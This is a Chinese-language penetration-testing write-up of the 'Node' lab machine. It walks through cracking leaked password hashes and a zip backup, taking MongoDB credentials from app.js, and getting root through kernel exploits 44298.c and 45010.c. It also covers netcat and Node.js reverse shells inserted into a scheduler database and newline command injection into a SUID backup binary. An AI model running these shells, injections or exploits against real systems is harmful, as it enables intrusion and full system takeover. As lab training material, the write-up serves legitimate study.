红队渗透项目之Node | 您所在的位置:网站首页 › 羊肚菌煲鸡汤的功效与作用 › 红队渗透项目之Node |
简介 该项目是作者精心制作的环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。 该项目有始有终会用到 信息收集 -> WEB信息枚举 -> hash破解 -> 内网信息收集 -> (五种方法)提权,最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。 请注意: 本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。 一、信息收集信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集: 1、nmap扫描存活IP由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息: 本机kali为192.168.40.128 发现本kali ip为40段!用40段进行全网段扫描: nmap -sP 192.168.40.0/24发现项目IP地址: 192.168.40.132 2、nmap全端口服务枚举进行namp端口服务枚举: nmap 192.168.40.132 -p- -A得到开放的端口信息: 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 3000/tcp open hadoop-datanode Apache Hadoop开放了22端口和3000端口,3000端口显示apache服务,试着用浏览器访问一下目标靶机的3000端口,进行web页面信息收集! 二、web信息枚举1、web页面信息枚举访问目标靶机的3000端口: http://192.168.40.132:3000/访问进去右上角有ligon登录模块点击: http://192.168.40.132:3000/login查看静态源码发现调用了javascript目录和js文件在前端!试着一个去访问看看有什么内容, 发现访问assets/js/app/controllers/home.js这个文件时,发现源码中有一个get请求: http://192.168.40.132:3000/assets/js/app/controllers/home.js静态源码发现调用了:/api/users/ 访问该目录文件: http://192.168.40.132:3000/api/users/发现这是前端的JSON!包含四个用户名密码信息: myP14ceAdm1nAcc0uNT dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af tom f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 mark de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 rastating 5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0hash枚举发现: hash-identifier这是256的密码值! 2、hash破解在线解密: https://crackstation.net/获得三个正确密码信息: myP14ceAdm1nAcc0uNT manchester tom spongebob mark snowflaketom和mark都是普通用户,没有权限访问,myP14ceAdm1nAcc0uNT提示是管理员用户 尝试登录后台: http://192.168.253.176:3000/login myP14ceAdm1nAcc0uNT manchester登录进去下载了文件:myplace.backup 查看一下文件内容 很显然的看出为base64加密 下载下来分析! 使用base64进行解密并查看解密后的文件类型: cat myplace.backup | base64 -d > test file test可看到文件类型为ZIP,zip类型的文件继续爆破! 3、zip爆破将后缀改为ZIP的格式: mv test test.zip然后进行解压: unzip test.zip发现解压需要密码,那就使用fcrackzip进行爆破: fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt test.zip -D 指定方式为字典猜解 -p 指定猜解字典的路径 -u 表示只显示破解出来的密码,其他错误的密码不显示出PASSWORD FOUND!!!!: pw == magicword 成功获得密码! 解压登录 unzip test.zip magicword发现解压后有一个var目录,顺着这个目录往下面走,来到var/www/myplace这个目录,发现在这个目录下面有一个app.js的文件: cd var/www/myplace发现这是www站目录源码信息泄露,存在app.js! 4、源码审计App.js 是一个轻量级的 JavaScript UI 库,用来创建移动的 Web 应用,应用的外观跟原生的应用相同,性能也近乎一致。https://www.runoob.com/nodejs/nodejs-mongodb.html 查看其内容 gedit app.js获取到了mongodb信息!! const express = require('express'); const session = require('express-session'); const bodyParser = require('body-parser'); const crypto = require('crypto'); const MongoClient = require('mongodb').MongoClient; const ObjectID = require('mongodb').ObjectID; const path = require("path"); const spawn = require('child_process').spawn; const app = express(); const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace'; const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';mark:5AYRft73VtFpc84k,发现这个账号密码可能为ssh远程登入账号密码 三、内部信息枚举1、SSH登录尝试使用账户密码登录: ssh [email protected] 5AYRft73VtFpc84k成功登录!! 2、linpeas脚本扫描开启http服务上传脚本,并执行: python -m SimpleHTTPServer 8081 wget http://192.168.40.128:8081/linpeas.sh chmod +x linpeas.sh ./linpeas.sh1)版本信息 Linux version 4.4.0-93-generic Sudo version 1.8.162)开启了mongodb 服务 127.0.0.1:270173)新用户 uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1002(admin)5)漏洞利用 CVE-2017-16995查找版本可利用漏洞: searchsploit Linux 4.4.0发现Linux Kernel < 4.4.0-116 44298.c 可利用漏洞 将44298.c下载至本地: locate linux/local/44298.c cp /usr/share/exploitdb/exploits/linux/local/44298.c .本地开启http服务将44298.c脚本上传至靶机,编译赋权并执行: python -m SimpleHTTPServer 8081 wget http://192.168.40.128:8081/44298.c gcc 44298.c -o test #gcc编译EXP chmod +x test #赋权 ./test成功获得root权限! 切换至其root目录,成功获得flag cd /root ls cat root.txthttps://www.runoob.com/mongodb/mongodb-connections.html 查看root权限用户 ps aux | grep -v root -v ---查看不匹配的行看到/var/scheduler/app.js的tom用户下运行的调度程序应用程序 开启监听 nc -vlp 4444查看库信息 mongo -u mark -p 5AYRft73VtFpc84k scheduler写入一句话反弹shell show collections ----show tables;查看已存在的表 db.tasks.find({}) ----查看一下表内容,现在表中无文档 db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.128 4444 >/tmp/f"}) ----利用nc一句话反弹shell插入文档成功获得tom用户的反弹shell! 3、app.js提权还有别的方法在JavaScript中创建一个反向shell 编写js木马: gedit shell.js 写入js木马: (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1234, "192.168.40.128", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();上传木马 wget http://192.168.40.128:8081/shell.js开启监听 nc -vlp 1234登录数据库,执行木马: mongo -u mark -p 5AYRft73VtFpc84k scheduler show collections db.tasks.findOne() 查看表内信息 db.tasks.insert({"cmd": "/usr/bin/node /tmp/shell.js"})成功获得反弹shell! 4、命令注入搜索下高权限程序: find / -perm -4000 2>/dev/null发现存在 :/usr/local/bin/backup 进入该目录查看 cd /usr/local/bin/发现suid具有root权限 -rwsr-xr-- 1 root admin 16484 Sep 3 2017 backup查看其文件类型 file /usr/local/bin/backup是个32位程序 将文件转换为base64编码: base64 /usr/local/bin/backup将值复制至本地分析利用: vi base64.txt cat base64.txt | base64 -d > backup查看MD5值是否一致 md5sum backup md5sum /usr/local/bin/backup值一致,说明传输无误。 利用strings 分析文件 strings backup可以从该命令的输出推断出,如果directory参数是/root或/etc,则返回上面的硬编码base64长字符串,否则,二进制文件将运行/usr/bin/zip -r -P magicword %s %s > /dev/null!!! 然后将存档文件进行 base64 编码并打印到终端上!目录这边可以用/etc/或者/root/,使用这两个目录才会产生base64字符串! 该字符串可以按照与之前的myplace.backup文件完全相同的方式进行解码和解压缩! /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/需要将字符串作为第三个参数传递给二进制可执行文件,该二进制可执行文件带有多个\n字符,以打印新行,然后当/bin/bash执行时,我们将具有root访问权限,因为二进制文件以root身份运行,添加了最终命令,使bash会话的输出不会重定向到/dev/null即可(使用换行符绕过 /dev/null) /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(echo '/any\n/bin/bash\nany')"注意:此命令在前面看到的python代码段创建的伪终端内不起作用的,必须首先通过在psuedo-terminal内键入exit或通过以用户tom身份重新连接而完全不运行python代码段来留下该伪终端,才可以执行成功!! 5、CVE-2017-16995漏洞编号:CVE-2017-16995 漏洞详情: 该漏洞由Google project zero发现。该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意读写漏洞。该漏洞是由eBPF验证模块的计算错误产生的。普通用户可以构造特殊的BPF来触发该漏洞,此外恶意攻击者也可以使用该漏洞来进行本地提权操作。 本地编译exp locate 45010 cp /usr/share/exploitdb/exploits/linux/local/45010.c .上传至靶机,并编译执行: wget http://192.168.40.128:8081/45010.c gcc 45010.c -o cve-2017-16995 chmod +x cve-2017-16995 ./cve-2017-16995上传执行成功!获得root权限!! 六、总结通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如 nmap端口信息枚举、Web页面信息枚举、hash破解、Zip爆破、linpeas.sh信息枚举、mongodb提权、app.js提权、命令注入等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧! 希望大家提高安全意识,没有网络安全就没有国家安全! 作者:十七 |
CopyRight 2018-2019 实验室设备网 版权所有 |